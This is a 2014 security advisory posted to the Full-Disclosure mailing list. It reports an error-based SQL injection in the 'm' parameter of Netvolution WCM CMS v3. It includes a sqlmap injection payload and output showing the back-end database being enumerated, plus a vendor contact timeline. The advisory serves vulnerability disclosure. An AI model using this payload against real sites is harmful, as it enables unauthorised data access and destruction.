Netvolution CMS 3 SQL injection

Project Zero Labs <[email protected]>
Newsgroups gmane.comp.security.full-disclosure
Organization Project Zero
Message-ID <[email protected]>
# Exploit Title:    Netvolution WCM - CMS v3 SQL Injection
# Exploit Type:     Error-based SQL injection
# Date:             Sun 02 Mar 2014
# Exploit Author:   projectzero labs
# Author Homepage:  http://projectzero.gr
# Projectzero ID:   projectzero2014-002-netvolutionsqli
# Vendor Homepage:  http://www.netvolution.net && http://www.atcom.gr
# Version:          3 (as vendor comfirmed)
# Packetstorm:      
http://packetstormsecurity.com/files/125507/Netvolution-WCM-CMS-3-SQL-Injection.html

About the Software:
===================

Netvolution is a very popular commercial CMS developed by Atcom, 
Greece.
Many high traffic greek sites use various versions of Netvolution WCM.

Vulnerability Details:
======================

Projectzero labs identified an "Error-based SQL injection" a the
parameter m. The attacker can remotely inject sql code and execute
queries in order to alter, insert or destroy data. That kind of attacks
can lead to data loss and/or server take over.

Vendor confirmed the vulnerability and advised owners of Netvolution 
powered
sites to check the running version of the CMS and update to a
newer one.

Proof of Concept:
=================
sqlmap output:

Place: Get
Parameter: m
     Type: error-based
     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or 
HAVING
clause
     Payload: m=siteModules.evenCalendarAjax' AND
3829=CONVERT(INT,(SELECT CHAR(113)+CHAR(114)... CHAR(115)+CHAR(112)))
AND 'test'='test&pid=33&lang=2&d=

[HH:MM:SS] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.5
back-end DBMS: Microsoft SQL Server 2005

[HH:MM:SS] [INFO] fetching database names
[HH:MM:SS] [INFO] the SQL query used returns 196 entries
[HH:MM:SS] [INFO] retrieved: A......
[HH:MM:SS] [INFO] retrieved: A......
[HH:MM:SS] [INFO] retrieved: A......
...
[HH:MM:SS] [INFO] fetching tables for databases: A...,A....,A... ...


Risk:
=====
High

Timeline:
=========
~Vendor Contact:    18/1/2014 (no reply)
                     26/2/2014 (confirmed)

Credits:
========
projectzero labs
[email protected]
http://projectzero.gr
               _)          |
   _ \  _| _ \  |  -_)  _|  _|  _  /  -_)  _| _ \
   __/_| \___/| |\___|\__|\__|  ___|\___|_| \___/
_|          [__/

-- 
Project Zero Labs
http://www.projectzero.gr

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
advisory (application/octet-stream, 2.1 KB) - not displayed
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.